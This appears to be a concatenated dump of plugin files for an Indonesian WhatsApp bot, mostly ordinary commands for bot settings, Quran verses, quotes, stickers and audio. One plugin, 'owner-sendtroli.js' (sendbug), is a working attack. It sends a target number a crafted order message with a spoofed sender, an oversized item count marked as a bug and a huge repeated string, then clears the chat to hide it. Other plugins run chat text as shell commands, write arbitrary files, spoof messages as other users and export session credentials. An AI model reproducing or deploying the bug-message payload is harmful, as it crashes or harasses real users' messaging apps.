23 | handler.fail = null 24 | 25 | module.exports = handler -------------------------------------------------------------------------------- /plugins/owner-debounce.js: -------------------------------------------------------------------------------- 1 | let { spawn } = require('child_process'); 2 | let handler = async (m, { conn }) => { 3 | if (!process.send) throw 'Dont: node main.js\nDo: node index.js' 4 | if (global.conn.user.jid == conn.user.jid) { 5 | await m.reply('Sedang Mereset Bot...\nMohon tunggu sekitar 1 menit') 6 | await global.db.write() 7 | process.send('reset') 8 | } else throw '_eeeeeiiittsssss..._' 9 | } 10 | handler.help = ['debounce' + (process.send ? '' : ' (Not working)')] 11 | handler.tags = ['owner'] 12 | handler.command = /^debounce$/i 13 | handler.rowner = true 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/owner-df.js: -------------------------------------------------------------------------------- 1 | const { tmpdir } = require('os') 2 | const { join } = require('path') 3 | const {readdirSync,statSync,unlinkSync,existsSync,readFileSync,watch} = require('fs') 4 | let handler = async (m, { args, text, usedPrefix, command }) => { 5 | 6 | let ar = Object.keys(plugins) 7 | let ar1 = ar.map(v => v.replace('.js', '')) 8 | if (!text) throw `uhm.. where the text?\n\nexample:\n${usedPrefix + command} info` 9 | if (!ar1.includes(args[0])) return m.reply(`*🗃️ NOT FOUND!*\n==================================\n\n${ar1.map(v => ' ' + v).join`\n`}`) 10 | let filename = join(__dirname, '../plugins/', `${args[0]}.js`) 11 | await unlinkSync(filename) 12 | conn.reply(m.chat, `Succes deleted "plugins/${args[0]}.js"`, m) 13 | 14 | } 15 | handler.help = ['df'] 16 | handler.tags = ['owner'] 17 | handler.command = /^(df)$/i 18 | 19 | handler.mods = true 20 | 21 | module.exports = handler -------------------------------------------------------------------------------- /plugins/owner-exec2.js: -------------------------------------------------------------------------------- 1 | let cp = require('child_process') 2 | let { promisify } = require('util') 3 | let exec = promisify(cp.exec).bind(cp) 4 | let handler = async (m, { conn, isOwner, command, text }) => { 5 | if (global.conn.user.jid != conn.user.jid) return 6 | m.reply('Executing...') 7 | let o 8 | try { 9 | o = await exec(command.trimStart() + ' ' + text.trimEnd()) 10 | } catch (e) { 11 | o = e 12 | } finally { 13 | let { stdout, stderr } = o 14 | if (stdout.trim()) m.reply(stdout) 15 | if (stderr.trim()) m.reply(stderr) 16 | } 17 | } 18 | handler.customPrefix = /^[$] / 19 | handler.command = new RegExp 20 | handler.rowner = true 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/owner-getdatabase.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | let handler = async (m, { conn, text }) => { 3 | m.reply('Tunggu Sebentar, Proses Getting File database.json') 4 | let sesi = await fs.readFileSync('./database.json') 5 | return await conn.sendMessage(m.chat, { document: sesi, mimetype: 'application/json', fileName: 'database.json' }, { quoted: m }) 6 | } 7 | handler.help = ['getdatabase'] 8 | handler.tags = ['owner'] 9 | handler.command = /^(getdatabase)$/i 10 | 11 | handler.owner = true 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/owner-getfile.js: -------------------------------------------------------------------------------- 1 | 2 | let fs = require('fs') 3 | let handler = async (m, { conn, text, command }) => { 4 | m.reply(`Tunggu Sebentar, Proses Getting File ${command}.js`) 5 | let sesi = await fs.readFileSync(`./${command}.js`) 6 | return await conn.sendMessage(m.chat, { document: sesi, mimetype: 'application/json', fileName: `${command}.js` }, { quoted: m }) 7 | } 8 | handler.help = ['main','app','handler','config','index'] 9 | handler.tags = ['owner'] 10 | handler.command = /^(main|app|handler|config|index)$/i 11 | 12 | handler.owner = true 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/owner-getplugins.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs') 2 | const path = require('path') 3 | let handler = async (m, { usedPrefix, command, text }) => { 4 | if (!text) throw `where is the text?\n\nexempel: ${usedPrefix + command} menu` 5 | const filename = path.join(__dirname, `./${text}${!/\.js$/i.test(text) ? '.js' : ''}`) 6 | const listPlugins = fs.readdirSync(path.join(__dirname)).map(v => v.replace(/\.js/, '')) 7 | if (!fs.existsSync(filename)) return m.reply(` 8 | '${filename}' not found! 9 | ${listPlugins.map(v => v).join('\n').trim()} 10 | `.trim()) 11 | m.reply(fs.readFileSync(filename, 'utf8')) 12 | } 13 | handler.help = ['getplugin'].map(v => v + ' [filename]') 14 | handler.tags = ['owner'] 15 | handler.command = /^(getplugin|get ?plugin|gp)$/i 16 | 17 | handler.rowner = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/owner-oadmin.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, isAdmin }) => { 2 | if (m.fromMe) throw 'Nggk' 3 | if (isAdmin) throw 'Padahal udah jadi admin' 4 | await conn.groupParticipantsUpdate(m.chat, [m.sender], "promote") 5 | } 6 | handler.command = /^admin.$/i 7 | handler.rowner = true 8 | handler.botAdmin = true 9 | module.exports = handler 10 | -------------------------------------------------------------------------------- /plugins/owner-pengumuman.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text }) => { 4 | let users = (await conn.groupMetadata(m.chat)).participants.map(u => u.jid) 5 | conn.sendMessage(m.chat, text, MessageType.extendedText, { contextInfo: { mentionedJid: users } }) 6 | } 7 | handler.help = ['pengumuman','hidetag'].map(v => 'o' + v + ' [teks]') 8 | handler.tags = ['owner'] 9 | handler.command = /^(opengumuman|oannounce|ohiddentag|ohidetag)$/i 10 | handler.owner = true 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = true 14 | handler.private = false 15 | 16 | handler.admin = false 17 | handler.botAdmin = false 18 | 19 | handler.fail = null 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/owner-promote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let users = m.mentionedJid 3 | conn.groupMakeAdmin(m.chat, users) 4 | } 5 | handler.help = ['promote','admin','^'].map(v => 'o' + v + ' @user') 6 | handler.tags = ['owner'] 7 | handler.command = /^(opromote|oadmin|o\^)$/i 8 | handler.owner = true 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = true 12 | handler.private = false 13 | 14 | handler.admin = false 15 | handler.botAdmin = true 16 | 17 | handler.fail = null 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/owner-resetlimit.js: -------------------------------------------------------------------------------- 1 | let { Presence } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, args }) => { 3 | await conn.updatePresence(m.chat, Presence.composing) 4 | let list = Object.entries(global.db.data.users) 5 | if(!args || !args[0]) { 6 | var lim = 100 7 | } else { 8 | var lim = parseInt(args[0]) 9 | } 10 | list.slice(0, list.length).map(([user, data], i) => (Number(data.limit = lim))) 11 | conn.reply(m.chat, `*berhasil direset ${lim} / user*`, m) 12 | } 13 | handler.help = ['limit'].map(v => 'reset' + v) 14 | handler.tags = ['owner', 'host'] 15 | handler.command = /^(resetlimit)$/i 16 | 17 | handler.owner = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/owner-resetprefix.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn }) => { 2 | 3 | global.prefix = new RegExp('^[' + (opts['prefix'] || '‎xzXZ/i!#$%+£¢€¥^°=¶∆×÷π√✓©®:;?&.\\-').replace(/[|\\{}()[\]^$+*?.\-\^]/g, '\\$&') + ']') 4 | await m.reply(`Prefix berhasil direset`) 5 | // conn.fakeReply(m.chat, 'Prefix berhasil direset', '0@s.whatsapp.net', 'Reset Prefix') 6 | } 7 | handler.help = ['resetprefix'] 8 | handler.tags = ['owner'] 9 | handler.command = /^(resetprefix)$/i 10 | handler.rowner = true 11 | 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/owner-resetprefixbot.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn }) => { 2 | 3 | global.prefix = new RegExp('^[' + (opts['prefix'] || '‎xzXZ/i!#$%+£¢€¥^°=¶∆×÷π√✓©®:;?&.\\-').replace(/[|\\{}()[\]^$+*?.\-\^]/g, '\\$&') + ']') 4 | await m.reply(`Prefix berhasil direset`) 5 | // conn.fakeReply(m.chat, 'Prefix berhasil direset', '0@s.whatsapp.net', 'Reset Prefix') 6 | } 7 | handler.help = ['resetprefix'] 8 | handler.tags = ['owner'] 9 | handler.command = /^(resetprefix)$/i 10 | handler.rowner = true 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/owner-restart.js: -------------------------------------------------------------------------------- 1 | let { spawn } = require('child_process'); 2 | let handler = async (m, { conn }) => { 3 | if (!process.send) throw 'Dont: node main.js\nDo: node index.js' 4 | if (global.conn.user.jid == conn.user.jid) { 5 | await m.reply('Sedang Mereset Bot...\nMohon tunggu sekitar 1 menit') 6 | await global.db.save() 7 | process.send('reset') 8 | } else throw '_eeeeeiiittsssss..._' 9 | } 10 | handler.help = ['restart'] 11 | handler.tags = ['host', 'owner'] 12 | handler.command = /^restart$/i 13 | handler.owner = true 14 | handler.mods = true 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/owner-self.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn, command }) => { 2 | let isPublic = command === "public"; 3 | let self = global.opts["self"] 4 | 5 | if(self === !isPublic) return m.reply(`Dah ${!isPublic ? "Self" : "Public"} dari tadi ${m.sender.split("@")[0] === global.owner[1] ? "Mbak" : "Bang"} :v`) 6 | 7 | global.opts["self"] = !isPublic 8 | 9 | m.reply(`Berhasil ${!isPublic ? "Self" : "Public"} bot!`) 10 | } 11 | 12 | handler.help = ["self", "public"] 13 | handler.tags = ["owner"] 14 | 15 | handler.owner = true 16 | 17 | handler.command = /^(self|public)/i 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/owner-sendtroli.js: -------------------------------------------------------------------------------- 1 | // By Caliph 2 | let handler = async (m, { conn, text, args, usedPrefix, command }) => { 3 | if (!text) throw `Format Salah!!\nContoh : ${usedPrefix + command} +62 812-1365-7325` 4 | conn.sendMessage(text.replace(/[^0-9]/g, '') + '@s.whatsapp.net', 'Hai Kak', 'conversation', { 5 | quoted: { 6 | key: { 7 | remoteJid: 'status@broadcast', 8 | participant: '0@s.whatsapp.net' // Fake sender Jid 9 | }, 10 | message: { 11 | orderMessage: { 12 | itemCount: 999999999999999999999999999999999999, // Bug 13 | status: 1, 14 | surface: 1, 15 | message: 'apa'.repeat(10000), 16 | orderTitle: 'MAMPUS', // Idk what this does 17 | sellerJid: '0@s.whatsapp.net' // Seller 18 | } 19 | } 20 | } 21 | }).then(v => conn.modifyChat(v.key.remoteJid, 'clear')) 22 | } 23 | handler.help = ['sendbug ', 'sendtroli '] 24 | handler.tags = ['owner'] 25 | handler.command = /^(sendtroli|sendbug)$/i 26 | handler.owner = true 27 | 28 | module.exports = handler -------------------------------------------------------------------------------- /plugins/owner-setbotbio.js: -------------------------------------------------------------------------------- 1 | // NurNurz 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) throw `Masukan Text Untuk Bio Baru Bot` 4 | try { 5 | await conn.setStatus(text) 6 | conn.reply(m.chat, 'Sukses Mengganti Bio Bot', m) 7 | } catch (e) { 8 | console.log(e) 9 | throw `Error` 10 | } 11 | } 12 | handler.help = ['setbotbio'] 13 | handler.tags = ['owner'] 14 | handler.command = /^(setbotbio)$/i 15 | handler.owner = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/owner-setbotpp.js: -------------------------------------------------------------------------------- 1 | /* 2 | Silahkan Di Pakek 3 | Tapi Bantu Rapihin :v 4 | Buatan: Miaweers 5 | */ 6 | 7 | let handler = async (m, { conn, args }) => { 8 | let bot = conn.user.jid // Bot 9 | let q = m.quoted ? m.quoted : m 10 | let mime = (q.msg || q).mimetype || '' 11 | if (/image/.test(mime)) { 12 | let img = await q.download() 13 | if (!img) throw `Foto tidak ditemukan` 14 | conn.updateProfilePicture (bot, img) 15 | conn.reply(m.chat, 'Sukses Mengganti Foto Profile Bot!', m) 16 | } 17 | } 18 | handler.help = ['setbotpp'] 19 | handler.command = /^(setbotpp)$/i 20 | handler.owner = true 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/owner-setbye.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (text) { 3 | conn.bye = text 4 | m.reply('Bye berhasil diatur\n@user (Mention)') 5 | } else throw 'Teksnya mana?' 6 | } 7 | handler.help = ['setbye '] 8 | handler.tags = ['owner'] 9 | handler.owner = true 10 | 11 | handler.command = /^setbye$/i 12 | module.exports = handler 13 | 14 | -------------------------------------------------------------------------------- /plugins/owner-setprefix.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn, text }) => { 2 | 3 | if (!text) throw `Prefix Tidak Boleh Kosong Kek Otak Mu:) ` 4 | 5 | global.prefix = new RegExp('^[' + (opts['prefix'] || `${text}`) + ']') 6 | await m.reply(`Prefix Berhasil Diubah Menjadi *${text}*`) 7 | } 8 | handler.help = ['setprefix '] 9 | handler.tags = ['owner'] 10 | handler.command = /^(setprefix)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | handler.exp = 0 22 | handler.limit = false 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/owner-setprefixbot.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn, text }) => { 2 | if (!text) throw `No Prefix detected...` 3 | global.prefix = new RegExp('^[' + (text || global.opts['prefix'] || '‎xzXZ/i!#$%+£¢€¥^°=¶∆×÷π√✓©®:;?&.\\-').replace(/[|\\{}()[\]^$+*?.\-\^]/g, '\\$&') + ']') 4 | await m.reply(`Prefix telah ditukar ke *${text}*`) 5 | // conn.fakeReply(m.chat, 'Prefix telah ditukar ke *${text}*', '0@s.whatsapp.net', 'Set Prefix Bot') 6 | } 7 | handler.help = ['setprefix'].map(v => v + ' [prefix]') 8 | handler.tags = ['owner'] 9 | handler.command = /^(setprefix)$/i 10 | 11 | handler.rowner = true 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/owner-setwelcome.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (text) { 3 | conn.welcome = text 4 | m.reply('Welcome berhasil diatur\n@user (Mention)') 5 | } else throw 'Teksnya mana?' 6 | } 7 | handler.help = ['setwelcome '] 8 | handler.tags = ['owner'] 9 | handler.owner = true 10 | 11 | handler.command = /^setwelcome$/i 12 | module.exports = handler 13 | 14 | -------------------------------------------------------------------------------- /plugins/owner-sf.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { text, usedPrefix, command }) => { 2 | if (!text) throw `uhm.. teksnya mana?\n\npenggunaan:\n${usedPrefix + command} \n\ncontoh:\n${usedPrefix + command} plugins/hyzer.js` 3 | if (!m.quoted.text) throw `balas pesan nya!` 4 | let path = `${text}` 5 | await require('fs').writeFileSync(path, m.quoted.text) 6 | m.reply(`tersimpan di ${path}`) 7 | } 8 | handler.help = ['sf'].map(v => v + ' ') 9 | handler.tags = ['owner'] 10 | handler.command = /^sf$/i 11 | 12 | handler.rowner = true 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/owner-stopjadibot.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | if (global.conn.user.jid == conn.user.jid) conn.reply(m.chat, 'Kenapa nggk langsung ke terminalnya?', m) 3 | else { 4 | await conn.reply(m.chat, 'Goodbye bot :\')', m) 5 | conn.close() 6 | } 7 | } 8 | handler.help = ['berhenti','stop'] 9 | handler.tags = ['owner'] 10 | handler.command = /^(berhenti|stop)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/owner-sudo.js: -------------------------------------------------------------------------------- 1 | const { newMessagesDB } = require("@adiwajshing/baileys") 2 | 3 | let handler = async (m, { conn, text }) => { 4 | if (!text) throw false 5 | let who 6 | if (m.isGroup) who = m.mentionedJid[0] 7 | else who = m.chat 8 | if (!who) throw 'Tag salah satu lah' 9 | txt = text.replace('@' + who.split`@`[0], '').trimStart() 10 | conn.emit('chat-update', { 11 | jid: who, 12 | hasNewMessage: true, 13 | messages: newMessagesDB([conn.cMod(m.chat, m, txt, who)]) 14 | }) 15 | } 16 | handler.help = ['sudo'] 17 | handler.tags = ['owner'] 18 | handler.command = /^sudo$/ 19 | handler.owner = true 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/owner-titlein.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args, text}) => { 2 | let who = m.mentionedJid[0] || conn.parseMention(text[0]) || (text[0].replace(/[@.+-]/g, '').replace(' ', '') + '@s.whatsapp.net') || '' 3 | if (m.isGroup) who = m.mentionedJid[0] 4 | let [orang, nama] = text.split`| ` 5 | if (!who) throw 'Tag salah satu lah' 6 | if (!orang) throw 'Tag salah satu lah' 7 | if (!nama) throw 'namanya apa?\n kalo mau kasi nama pake\n#titlein @mention|nama' 8 | if (!(who in global.db.data.users)) throw 'User tidak terdaftar dalam DATABASE!!' 9 | let user = global.db.data.users[who] 10 | user.title = nama 11 | m.reply(` 12 | ${conn.getName(who)} sekarang mendapatkan title\n${nama} 13 | `) 14 | } 15 | handler.help = ['titlein [nama]'] 16 | handler.tags = ['owner'] 17 | handler.mods = true 18 | handler.command = /^titlein$/i 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/owner-unbanchat.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | global.db.data.chats[m.chat].isBanned = false 3 | m.reply('Done!') 4 | } 5 | handler.help = ['unbanchat'] 6 | handler.tags = ['owner'] 7 | handler.command = /^unbanchat$/i 8 | handler.owner = true 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/owner-update.js: -------------------------------------------------------------------------------- 1 | let { execSync } = require('child_process') 2 | let handler = async (m, { conn, text }) => { 3 | if (global.conn.user.jid == conn.user.jid) { 4 | let stdout = execSync('git pull' + (m.fromMe && text ? ' ' + text : '')) 5 | require('fs').readdirSync('plugins').map(v=>global.reload('', v)) 6 | conn.reply(m.chat, stdout.toString(), m) 7 | } 8 | } 9 | handler.help = ['roload'] 10 | handler.tags = ['owner'] 11 | handler.command = /^roload$/i 12 | handler.owner = true 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | handler.exp = 0 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/panik-jadian.js: -------------------------------------------------------------------------------- 1 | let R = Math.random 2 | let Fl = Math.floor 3 | let toM = a => '@' + a.split('@')[0] 4 | function handler(m, { groupMetadata }) { 5 | let ps = groupMetadata.participants.map(v => v.jid) 6 | let a = ps[Fl(R() * ps.length)] 7 | let b 8 | do b = ps[Fl(R() * ps.length)] 9 | while (b === a) 10 | m.reply(`${toM(a)} ❤️ ${toM(b)}`, null, { 11 | contextInfo: { 12 | mentionedJid: [a, b] 13 | } 14 | }) 15 | conn.reply(m.reply, 'Cie Jodoh Nih Nikah Trs Buat Anak Sana:)', m) 16 | } 17 | handler.help = ['jodohin'] 18 | handler.tags = ['panik'] 19 | handler.command = ['jodohin'] 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/premium-getcode.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | if (global.conn.user.jid == conn.user.jid) conn.reply(m.chat, 'Command ini hanya untuk yang jadi bot', m) 3 | else global.conn.reply(conn.user.jid, `${usedPrefix}jadibot ${Buffer.from(JSON.stringify(conn.base64EncodedAuthInfo())).toString('base64')}`, m) 4 | } 5 | handler.help = ['getcode'] 6 | handler.tags = ['premium'] 7 | handler.command = /^(getcode)$/i 8 | handler.owner = false 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = false 12 | handler.private = false 13 | 14 | handler.admin = false 15 | handler.botAdmin = false 16 | 17 | handler.fail = null 18 | 19 | module.exports = handler 20 | 21 | -------------------------------------------------------------------------------- /plugins/premium-joind.js: -------------------------------------------------------------------------------- 1 | let linkRegex = /chat.whatsapp.com\/([0-9A-Za-z]{20,24})/i 2 | 3 | 4 | 5 | let handler = async (m, { conn, text }) => { 6 | 7 | let [_, code] = text.match(linkRegex) || [] 8 | 9 | if (!code) throw 'Link invalid' 10 | 11 | let res = await conn.acceptInvite(code) 12 | 13 | m.reply(`Berhasil Join Grup ${res.gid}`) 14 | 15 | } 16 | 17 | handler.help = ['autojoin '] 18 | 19 | handler.tags = ['premium'] 20 | 21 | 22 | 23 | handler.command = /^autojoin$/i 24 | 25 | 26 | 27 | handler.premium = true 28 | 29 | 30 | 31 | module.exports = handler 32 | 33 | -------------------------------------------------------------------------------- /plugins/premium-listjadibot.js: -------------------------------------------------------------------------------- 1 | async function handler(m, { usedPrefix }) { 2 | let users = [...new Set([...global.conns.filter(conn => conn.user && conn.state !== 'close').map(conn => conn.user)])] 3 | m.reply(users.map(v => 'wa.me/' + v.jid.replace(/[^0-9]/g, '') + `?text=${usedPrefix}menu (${v.name})`).join('\n')) 4 | } 5 | handler.command = handler.help = ['listjadibot'] 6 | handler.tags = ['jadibot'] 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/premium-stickerwa.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let { sticker } = require('../system/lib/sticker') 3 | let handler = async (m, { conn, text }) => { 4 | if (!text) throw 'Masukan pencarian, Contoh *#stickerwa pentol*' 5 | 6 | let res = await fetch(`https://xteam.xyz/sticker/stickerly?q=${text}&APIKEY=MIMINETBOT`) 7 | let json = await res.json() 8 | for (let i of json.result.stickerlist) { 9 | conn.sendMessage(m.chat, await sticker(false, i, packname, author), 'stickerMessage', { quoted: m }) 10 | } 11 | } 12 | handler.help = ['stickerwa'].map(v => v + ' ') 13 | handler.tags = ['premium'] 14 | handler.command = /^stickerwa|stikerwa$/i 15 | handler.premium = true 16 | handler.limit = true 17 | 18 | module.exports = handler -------------------------------------------------------------------------------- /plugins/quotes-fakta.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | 4 | let handler = async (m, { conn }) => { 5 | ddd = await fetch('https://recoders-area.caliph.repl.co/api/fakta?apikey='+APIKeys["https://recoders-area.caliph.repl.co"]) 6 | f = await ddd.json() 7 | conn.reply(m.chat,`${f.result}`, m) 8 | } 9 | handler.help = ['fakta'] 10 | handler.tags = ['quotes'] 11 | handler.command = /^(fakta|faktaunik)$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/quotes-renungan.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | axios.get(`http://docs-jojo.herokuapp.com/api/renungan`).then ((res) => { 5 | let hasil = `*${res.data.judul}*\n\n${res.data.isi}\n\nPesan : ${res.data.pesan}` 6 | 7 | conn.reply(m.chat, hasil, m) 8 | }) 9 | } 10 | handler.help = ['renungan'] 11 | handler.tags = ['quotes'] 12 | handler.command = /^(renungan)$/i 13 | handler.owner = false 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | handler.exp = 0 24 | handler.limit = false 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/quran-alquran.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | let handler = async (m, { conn, args, usedPrefix, command }) => { 4 | if (!(args[0] || args[1])) throw `contoh:\n${usedPrefix + command} 1 2\n\nmaka hasilnya adalah surah Al-Fatihah ayat 2 beserta audionya, dan ayatnya 1 aja` 5 | 6 | let res = await fetch(global.API('https://islamic-api-indonesia.herokuapp.com', '/api/data/quran', { surah: args[0], ayat: args[1] })) 7 | let json = await res.json() 8 | let mes = `${json.result.data.text.arab} 9 | 10 | ${json.result.data.translation.id} 11 | 12 | ( Q.S ${json.result.data.surah.name.transliteration.id} : ${json.result.data.number.inSurah} )`.trim() 13 | m.reply(mes) 14 | conn.sendFile(m.chat, json.result.data.audio.primary, 'all.mp3', '', m, false, { mimetype: 'audio/mp4' }) 15 | } 16 | 17 | handler.help = ['alquran *114 1*'] 18 | handler.tags = ['quran'] 19 | handler.command = /^(al)?quran$/i 20 | module.exports = handler -------------------------------------------------------------------------------- /plugins/quran-doaharian.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn }) => { 3 | await m.reply(global.wait) 4 | let res = await fetch(global.API('xteam','/religi/doaharian', {}, 'APIKEY')) 5 | let json = await res.json() 6 | if (res.status != 200) throw json 7 | if (json.result.error) throw json.result.message 8 | let { 9 | title, 10 | latin, 11 | arabic, 12 | translation 13 | } = json.result 14 | let caption = ` 15 | *「 Doa Harian 」* 16 | ${title} 17 | ${arabic} 18 | ${latin} 19 | Artinya: 20 | _"${translation}"_ 21 | `.trim() 22 | await m.reply(caption) 23 | } 24 | handler.help = ['doaharian'] 25 | handler.tags = ['quran'] 26 | handler.command = /^(doaharian)$/i 27 | 28 | module.exports = handler 29 | -------------------------------------------------------------------------------- /plugins/quran-randomQuran.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | 5 | axios.get(`https://videfikri.com/api/randquran/`).then ((res) => { 6 | let hasil = `ARTI SURAT : ${res.data.result.arti} 7 | ASMA : ${res.data.result.asma} | ${res.data.result.nama} 8 | AYAT : ${res.data.result.ayat} 9 | Di turunkan : ${res.data.result.tipe} 10 | AUDIO : ${res.data.result.audio} 11 | KET SURAT : ${res.data.result.keterangan} 12 | ` 13 | 14 | conn.reply(m.chat, hasil, m) 15 | }) 16 | } 17 | handler.help = ['rquran'] 18 | handler.tags = ['quran'] 19 | handler.command = /^(rquran)/i 20 | handler.owner = false 21 | handler.mods = false 22 | handler.premium = false 23 | handler.group = false 24 | handler.private = false 25 | 26 | handler.admin = false 27 | handler.botAdmin = false 28 | 29 | handler.fail = null 30 | handler.exp = 0 31 | handler.limit = false 32 | 33 | module.exports = handler 34 | -------------------------------------------------------------------------------- /plugins/quran-tahlil.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn }) => { 3 | await m.reply(global.wait) 4 | let res = await fetch(global.API('xteam','/religi/tahlil', {}, 'APIKEY')) 5 | let json = await res.json() 6 | if (res.status != 200) throw json 7 | if (json.result.error) throw json.result.message 8 | let { 9 | title, 10 | id, 11 | arabic, 12 | translation 13 | } = json.result 14 | let caption = ` 15 | *「 Tahlil 」* 16 | ${id}. ${title} 17 | ${arabic} 18 | Artinya: 19 | _"${translation}"_ 20 | `.trim() 21 | await m.reply(caption) 22 | } 23 | handler.help = ['tahlil'] 24 | handler.tags = ['quran'] 25 | handler.command = /^(tahlil)$/i 26 | handler.register = true 27 | 28 | handler.fail = null 29 | handler.limit = false 30 | 31 | module.exports = handler 32 | -------------------------------------------------------------------------------- /plugins/sound-listvn.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | ┏━━°❀❬ *LIST VN * ❭❀°━━┓ 3 | ┃• anjay 4 | ┃• ara 5 | ┃• bila 6 | ┃• baby 7 | ┃• bambam 8 | ┃• booma 9 | ┃• bernyanyi 10 | ┃• cidro 11 | ┃• enak 12 | ┃• iri 13 | ┃• masha 14 | ┃• padepap 15 | ┃• papale 16 | ┃• pota 17 | ┃• kiminoto 18 | ┃• kokoro 19 | ┃• siul 20 | ┃• tapi 21 | ┃• umbrella 22 | ┃• wes 23 | ┗━━━━━━━━━━━━━━━━ 24 | 25 | Contoh : *!getvn papale* 26 | `.trim()) // List Voice Notes 27 | handler.help = ['listvn'] 28 | handler.tags = ['sound','music'] 29 | handler.command = /^(listvn)$/i 30 | 31 | module.exports = handler 32 | 33 | // 31caf10e4a64e86c1a92bcba 34 | -------------------------------------------------------------------------------- /plugins/sound-tomp3.js: -------------------------------------------------------------------------------- 1 | const { toAudio } = require('../system/lib/converter') 2 | 3 | let handler = async (m, { conn, usedPrefix, command }) => { 4 | let q = m.quoted ? m.quoted : m 5 | let mime = (m.quoted ? m.quoted : m.msg).mimetype || '' 6 | if (!/video|audio/.test(mime)) throw `Balas video atau voice note yang ingin diubah ke mp3 dengan perintah *${usedPrefix + command}*` 7 | let media = await q.download() 8 | let audio = await toAudio(media, 'mp4') 9 | conn.sendFile(m.chat, audio, '', '', m, 0, { mimetype: 'audio/mp4' }) 10 | } 11 | handler.help = ['tomp3'] 12 | handler.tags = ['sound'] 13 | 14 | handler.command = /^to(mp3|a(udio)?)$/i 15 | handler.limit = true 16 | 17 | module.exports = handler 